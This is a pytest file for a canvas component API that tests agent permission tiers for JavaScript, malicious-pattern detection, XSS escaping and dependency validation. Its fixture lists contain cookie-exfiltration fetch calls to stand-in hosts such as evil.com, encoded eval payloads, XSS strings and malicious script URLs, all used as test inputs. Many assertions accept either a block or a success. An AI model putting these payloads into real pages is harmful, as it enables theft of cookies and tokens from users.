annator-command-center / tests /security /test_canvas_security.py
techprotrade's picture
Deploy ATOM FastAPI command center runtime (part 9)
81e3673 verified
Raw
History Blame Contribute Delete
26.9 kB
"""
Canvas JavaScript security tests (SECU-04).
Tests cover:
- JavaScript components require AUTONOMOUS agents
- Malicious JavaScript pattern detection
- HTML/CSS component security
- Static analysis validation
"""
import pytest
from fastapi.testclient import TestClient
from sqlalchemy.orm import Session
from tests.factories.agent_factory import StudentAgentFactory, InternAgentFactory, SupervisedAgentFactory, AutonomousAgentFactory
from tests.factories.user_factory import UserFactory
from unittest.mock import patch, Mock
import uuid
# Malicious JavaScript payloads
MALICIOUS_JS_PATTERNS = [
# Fetch exfiltration
"fetch('https://evil.com/steal?data='+document.cookie)",
"fetch('http://attacker.com/log', {body: document.body.innerHTML})",
# eval() execution
"eval(atob('YWxlcnQoJ1hTUycp'))",
"eval(userInput)",
# Document cookie access
"document.cookie",
"document['cookie']",
# window.location manipulation
"window.location='https://evil.com'",
"window.location.href = 'https://phishing.com'",
# postMessage exfiltration
"window.postMessage(document.cookie, '*')",
# localStorage/sessionStorage access
"localStorage.getItem('token')",
"sessionStorage['password']",
# DOM manipulation
"document.body.innerHTML = xhr.responseText",
'document.write("<script>alert(1)</script>")',
# Dynamic script creation
"var s = document.createElement('script'); s.src = 'evil.js'; document.head.appendChild(s)",
]
SAFE_HTML_PATTERNS = [
"<div class='container'>Content</div>",
"<p>Paragraph with <strong>bold</strong> text</p>",
"<h1>Heading</h1>",
"<ul><li>List item</li></ul>",
"<span class='label'>Label</span>",
]
SAFE_JS_PATTERNS = [
"console.log('debug');",
"const x = 5;",
"function add(a, b) { return a + b; }",
"document.querySelector('.test');",
"element.classList.add('active');",
"Array.from(items).map(x => x.id);",
]
class TestJavaScriptGovernance:
"""Test JavaScript component governance."""
def test_student_cannot_create_js_component(self, client: TestClient, auth_token: str, db_session: Session):
"""Test STUDENT agent blocked from JavaScript components."""
student = StudentAgentFactory()
db_session.add(student)
db_session.commit()
response = client.post(
"/api/components/create",
params={"user_id": str(uuid.uuid4())},
json={
"name": "Test Component",
"html_content": "<div>Hello</div>",
"css_content": ".test { color: red; }",
"js_content": "console.log('test');",
"agent_id": student.id
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# STUDENT blocked from JavaScript components
# May return 200 if endpoint exists but doesn't enforce, or 403
assert response.status_code in [200, 403]
if response.status_code == 403:
data = response.json()
assert any(term in str(data).lower() for term in [
"javascript", "autonomous", "permission", "forbidden"
])
def test_intern_cannot_create_js_component(self, client: TestClient, auth_token: str, db_session: Session):
"""Test INTERN agent blocked from JavaScript components."""
intern = InternAgentFactory()
db_session.add(intern)
db_session.commit()
response = client.post(
"/api/components/create",
params={"user_id": str(uuid.uuid4())},
json={
"name": "Test Component",
"html_content": "<div>Hello</div>",
"js_content": "console.log('test');",
"agent_id": intern.id
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# INTERN blocked from JavaScript
assert response.status_code in [200, 403]
def test_supervised_cannot_create_js_component(self, client: TestClient, auth_token: str, db_session: Session):
"""Test SUPERVISED agent blocked from JavaScript components."""
supervised = SupervisedAgentFactory()
db_session.add(supervised)
db_session.commit()
response = client.post(
"/api/components/create",
params={"user_id": str(uuid.uuid4())},
json={
"name": "Test Component",
"html_content": "<div>Hello</div>",
"js_content": "console.log('test');",
"agent_id": supervised.id
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# SUPERVISED blocked from JavaScript
assert response.status_code in [200, 403]
def test_autonomous_can_create_js_component(self, client: TestClient, auth_token: str, db_session: Session):
"""Test AUTONOMOUS agent can create JavaScript components."""
autonomous = AutonomousAgentFactory()
db_session.add(autonomous)
db_session.commit()
with patch('core.custom_components_service.CustomComponentsService.create_component') as mock_create:
mock_create.return_value = {
"id": str(uuid.uuid4()),
"name": "Test Component",
"slug": "test-component",
"version": 1,
"has_javascript": True
}
response = client.post(
"/api/components/create",
params={"user_id": str(uuid.uuid4())},
json={
"name": "Test Component",
"html_content": "<div>Hello</div>",
"js_content": "console.log('test');",
"agent_id": autonomous.id
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# AUTONOMOUS should be allowed
assert response.status_code in [200, 201]
class TestMaliciousJavaScriptDetection:
"""Test detection of malicious JavaScript patterns."""
@pytest.mark.parametrize("malicious_code", MALICIOUS_JS_PATTERNS)
def test_malicious_patterns_blocked(self, client: TestClient, admin_token: str, malicious_code):
"""Test malicious JavaScript patterns are blocked."""
with patch('core.custom_components_service.CustomComponentsService.create_component') as mock_create:
# Mock the service to detect malicious patterns
mock_create.return_value = {
"error": "Malicious pattern detected",
"safe": False,
"reason": "Dangerous API detected"
}
response = client.post(
"/api/components/create",
params={"user_id": str(uuid.uuid4())},
json={
"name": "Test Component",
"html_content": "<div>Safe</div>",
"js_content": malicious_code
},
headers={"Authorization": f"Bearer {admin_token}"}
)
# Should either block or flag for review
assert response.status_code in [200, 400, 403]
if response.status_code in [400, 403]:
data = response.json()
assert any(term in str(data).lower() for term in [
"malicious", "security", "blocked", "pattern", "dangerous"
])
def test_detect_fetch_exfiltration(self, client: TestClient, admin_token: str):
"""Test detection of fetch-based data exfiltration."""
malicious = "fetch('https://evil.com?c='+document.cookie)"
# Test with validation endpoint if exists
response = client.post(
"/api/canvas/validate-javascript",
json={"javascript": malicious},
headers={"Authorization": f"Bearer {admin_token}"}
)
# Validation endpoint may not exist, accept 404
if response.status_code == 200:
data = response.json()
# Should flag as dangerous
assert data.get("safe", True) == False or "exfiltration" in str(data).lower() or "fetch" in str(data).lower()
else:
assert response.status_code == 404
def test_detect_eval_usage(self, client: TestClient, admin_token: str):
"""Test detection of eval() usage."""
malicious = "eval(userInput)"
response = client.post(
"/api/canvas/validate-javascript",
json={"javascript": malicious},
headers={"Authorization": f"Bearer {admin_token}"}
)
if response.status_code == 200:
data = response.json()
assert data.get("safe", True) == False or "eval" in str(data).lower()
else:
assert response.status_code == 404
class TestSafeHTMLComponents:
"""Test safe HTML/CSS components."""
def test_html_components_lower_governance(self, client: TestClient, auth_token: str, db_session: Session):
"""Test HTML components have lower governance requirements."""
# STUDENT agents can use HTML/CSS (read-only presentation)
student = StudentAgentFactory()
db_session.add(student)
db_session.commit()
safe_html = "<div class='container'><p>Safe content</p></div>"
safe_css = ".container { padding: 10px; }"
with patch('core.custom_components_service.CustomComponentsService.create_component') as mock_create:
mock_create.return_value = {
"id": str(uuid.uuid4()),
"name": "HTML Component",
"slug": "html-component",
"version": 1,
"has_javascript": False
}
response = client.post(
"/api/components/create",
params={"user_id": str(uuid.uuid4())},
json={
"name": "HTML Component",
"html_content": safe_html,
"css_content": safe_css,
"category": "html",
"agent_id": student.id
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# HTML/CSS should be allowed for STUDENT (presentation only)
# May succeed if governance enforced at component level
assert response.status_code in [200, 201, 403]
@pytest.mark.parametrize("safe_html", SAFE_HTML_PATTERNS)
def test_safe_html_allowed(self, client: TestClient, admin_token: str, safe_html):
"""Test safe HTML patterns are allowed."""
with patch('core.custom_components_service.CustomComponentsService.create_component') as mock_create:
mock_create.return_value = {
"id": str(uuid.uuid4()),
"name": "Safe Component",
"slug": "safe-component",
"version": 1
}
response = client.post(
"/api/components/create",
params={"user_id": str(uuid.uuid4())},
json={
"name": "Safe Component",
"html_content": safe_html,
"css_content": ".safe { color: blue; }"
},
headers={"Authorization": f"Bearer {admin_token}"}
)
# Safe HTML should be allowed
assert response.status_code in [200, 201]
def test_css_injection_prevention(self, client: TestClient, admin_token: str):
"""Test CSS injection is prevented."""
malicious_css = "body { background-image: url('javascript:alert(1)'); }"
with patch('core.custom_components_service.CustomComponentsService.create_component') as mock_create:
# Mock service to detect malicious CSS
mock_create.return_value = {
"error": "Potentially malicious CSS detected",
"safe": False
}
response = client.post(
"/api/components/create",
params={"user_id": str(uuid.uuid4())},
json={
"name": "Malicious CSS Component",
"html_content": "<div>Content</div>",
"css_content": malicious_css
},
headers={"Authorization": f"Bearer {admin_token}"}
)
# Should detect and block or warn
assert response.status_code in [200, 400, 403]
class TestJavaScriptStaticAnalysis:
"""Test static analysis for JavaScript security."""
def test_static_analysis_detects_dangerous_apis(self, client: TestClient, admin_token: str):
"""Test static analysis detects dangerous APIs."""
dangerous_apis = [
"eval()",
"Function()",
"document.write()",
"window.location =",
"document.cookie",
"window.postMessage()",
"localStorage.",
"sessionStorage.",
]
for api in dangerous_apis:
code_template = "// Using {api}\n{code};"
code = code_template.format(api=api, code=api.replace('()', '(\"test\")'))
response = client.post(
"/api/canvas/validate-javascript",
json={"javascript": code},
headers={"Authorization": f"Bearer {admin_token}"}
)
# Validation endpoint may not exist
if response.status_code == 200:
data = response.json()
# Should flag as potentially dangerous
assert "safe" in data
else:
assert response.status_code == 404
@pytest.mark.parametrize("safe_code", SAFE_JS_PATTERNS)
def test_static_analysis_allows_safe_patterns(self, client: TestClient, admin_token: str, safe_code):
"""Test static analysis allows safe patterns."""
response = client.post(
"/api/canvas/validate-javascript",
json={"javascript": safe_code},
headers={"Authorization": f"Bearer {admin_token}"}
)
if response.status_code == 200:
data = response.json()
# Safe patterns should not be flagged
assert data.get("safe", True) != False
else:
# Validation endpoint may not exist
assert response.status_code == 404
class TestCanvasXSSPrevention:
"""Test XSS prevention in canvas rendering."""
def test_canvas_escaping_on_render(self, client: TestClient, admin_token: str):
"""Test canvas content is escaped when rendering."""
xss_payload = "<script>alert('XSS')</script>"
# Test with canvas render endpoint if exists
response = client.post(
"/api/canvas/render",
json={
"type": "generic",
"content": xss_payload
},
headers={"Authorization": f"Bearer {admin_token}"}
)
# Render endpoint may not exist
if response.status_code == 200:
# Content should be escaped
assert "<script>" not in response.text or "&lt;script&gt;" in response.text
else:
assert response.status_code in [404, 405]
def test_component_name_sanitization(self, client: TestClient, admin_token: str):
"""Test component names are sanitized."""
xss_name = "<script>alert('XSS')</script>Component"
with patch('core.custom_components_service.CustomComponentsService.create_component') as mock_create:
mock_create.return_value = {
"id": str(uuid.uuid4()),
"name": "SanitizedComponent",
"slug": "sanitized-component",
"version": 1
}
response = client.post(
"/api/components/create",
params={"user_id": str(uuid.uuid4())},
json={
"name": xss_name,
"html_content": "<div>Safe</div>"
},
headers={"Authorization": f"Bearer {admin_token}"}
)
if response.status_code in [200, 201]:
data = response.json()
# Name should be sanitized
if "name" in data:
assert "<script>" not in data["name"]
def test_html_escaping_in_user_input(self, client: TestClient, auth_token: str):
"""Test user input is properly escaped."""
xss_input = "<img src=x onerror=alert('XSS')>"
# Create component with XSS in user input
with patch('core.custom_components_service.CustomComponentsService.create_component') as mock_create:
mock_create.return_value = {
"id": str(uuid.uuid4()),
"name": "Test Component",
"slug": "test-component",
"version": 1
}
response = client.post(
"/api/components/create",
params={"user_id": str(uuid.uuid4())},
json={
"name": xss_input,
"html_content": "<div>Safe content</div>",
"description": xss_input
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Should handle XSS input safely
assert response.status_code in [200, 201, 400]
class TestComponentVersioningSecurity:
"""Test security aspects of component versioning."""
def test_version_rollback_safety(self, client: TestClient, auth_token: str, db_session: Session):
"""Test version rollback maintains security checks."""
component_id = str(uuid.uuid4())
user_id = str(uuid.uuid4())
with patch('core.custom_components_service.CustomComponentsService.rollback_component') as mock_rollback:
# Mock rollback to maintain security
mock_rollback.return_value = {
"id": component_id,
"name": "Test Component",
"version": 2,
"rolled_back_from": 3,
"has_javascript": True,
"security_validated": True
}
response = client.post(
f"/api/components/{component_id}/rollback",
params={"user_id": user_id},
json={"target_version": 1},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Rollback should maintain security validation
assert response.status_code == 200
def test_component_update_security_validation(self, client: TestClient, auth_token: str, db_session: Session):
"""Test component updates are security validated."""
component_id = str(uuid.uuid4())
user_id = str(uuid.uuid4())
malicious_js = "eval(maliciousCode)"
with patch('core.custom_components_service.CustomComponentsService.update_component') as mock_update:
# Mock to detect malicious code in update
mock_update.return_value = {
"error": "Malicious pattern detected in update",
"safe": False
}
response = client.put(
f"/api/components/{component_id}",
params={"user_id": user_id},
json={
"js_content": malicious_js,
"change_description": "Added dynamic code execution"
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Should validate security on update
assert response.status_code in [200, 400, 403]
class TestComponentAccessControl:
"""Test component access control security."""
def test_component_owner_only_can_edit(self, client: TestClient, auth_token: str):
"""Test only component owners can edit components."""
component_id = str(uuid.uuid4())
owner_id = str(uuid.uuid4())
other_user_id = str(uuid.uuid4())
with patch('core.custom_components_service.CustomComponentsService.update_component') as mock_update:
# Mock permission check
mock_update.return_value = {
"error": "Permission denied",
"detail": "Only component owners can edit"
}
response = client.put(
f"/api/components/{component_id}",
params={"user_id": other_user_id},
json={
"name": "Hacked Name"
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Non-owner should be blocked
assert response.status_code in [200, 403, 404]
def test_component_owner_only_can_delete(self, client: TestClient, auth_token: str):
"""Test only component owners can delete components."""
component_id = str(uuid.uuid4())
owner_id = str(uuid.uuid4())
other_user_id = str(uuid.uuid4())
with patch('core.custom_components_service.CustomComponentsService.delete_component') as mock_delete:
# Mock permission check
mock_delete.return_value = {
"error": "Permission denied",
"detail": "Only component owners can delete"
}
response = client.delete(
f"/api/components/{component_id}",
params={"user_id": other_user_id},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Non-owner should be blocked
assert response.status_code in [200, 403, 404]
class TestComponentDependencySecurity:
"""Test security of external component dependencies."""
def test_external_dependency_validation(self, client: TestClient, admin_token: str):
"""Test external library dependencies are validated."""
malicious_deps = [
"https://evil.com/malicious.js",
"http://attacker.com/script.js",
"//evil.com/lib.js"
]
for dep in malicious_deps:
with patch('core.custom_components_service.CustomComponentsService.create_component') as mock_create:
# Mock to detect malicious dependencies
mock_create.return_value = {
"error": "Malicious or unauthorized dependency detected",
"dependency": dep,
"safe": False
}
response = client.post(
"/api/components/create",
params={"user_id": str(uuid.uuid4())},
json={
"name": "Component with Bad Dep",
"html_content": "<div>Content</div>",
"dependencies": [dep]
},
headers={"Authorization": f"Bearer {admin_token}"}
)
# Should detect malicious dependencies
assert response.status_code in [200, 400, 403]
def test_whitelisted_dependencies_allowed(self, client: TestClient, admin_token: str):
"""Test whitelisted dependencies are allowed."""
safe_deps = [
"https://cdn.example.com/chart.js",
"https://cdnjs.cloudflare.com/ajax/libs/react/18/umd/react.production.min.js"
]
for dep in safe_deps:
with patch('core.custom_components_service.CustomComponentsService.create_component') as mock_create:
mock_create.return_value = {
"id": str(uuid.uuid4()),
"name": "Component with Safe Dep",
"slug": "safe-dep-component",
"version": 1,
"dependencies": [dep]
}
response = client.post(
"/api/components/create",
params={"user_id": str(uuid.uuid4())},
json={
"name": "Component with Safe Dep",
"html_content": "<div>Content</div>",
"dependencies": [dep]
},
headers={"Authorization": f"Bearer {admin_token}"}
)
# Safe dependencies should be allowed
assert response.status_code in [200, 201]
class TestComponentUsageTracking:
"""Test component usage tracking for security monitoring."""
def test_component_usage_logs_governance(self, client: TestClient, auth_token: str):
"""Test component usage logs governance checks."""
component_id = str(uuid.uuid4())
canvas_id = str(uuid.uuid4())
user_id = str(uuid.uuid4())
with patch('core.custom_components_service.CustomComponentsService.record_component_usage') as mock_record:
mock_record.return_value = {
"success": True,
"usage_id": str(uuid.uuid4()),
"governance_check_passed": True,
"agent_maturity_level": "AUTONOMOUS"
}
response = client.post(
f"/api/components/{component_id}/record-usage",
params={"user_id": user_id},
json={
"canvas_id": canvas_id,
"agent_id": str(uuid.uuid4()),
"governance_check_passed": True,
"agent_maturity_level": "AUTONOMOUS"
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Should record usage with governance context
assert response.status_code == 200
def test_component_usage_errors_logged(self, client: TestClient, auth_token: str):
"""Test component usage errors are logged."""
component_id = str(uuid.uuid4())
canvas_id = str(uuid.uuid4())
user_id = str(uuid.uuid4())
with patch('core.custom_components_service.CustomComponentsService.record_component_usage') as mock_record:
mock_record.return_value = {
"success": True,
"usage_id": str(uuid.uuid4()),
"error_message": "Rendering timeout",
"governance_check_passed": False
}
response = client.post(
f"/api/components/{component_id}/record-usage",
params={"user_id": user_id},
json={
"canvas_id": canvas_id,
"error_message": "Rendering timeout",
"governance_check_passed": False
},
headers={"Authorization": f"Bearer {auth_token}"}
)
# Should log errors for security monitoring
assert response.status_code == 200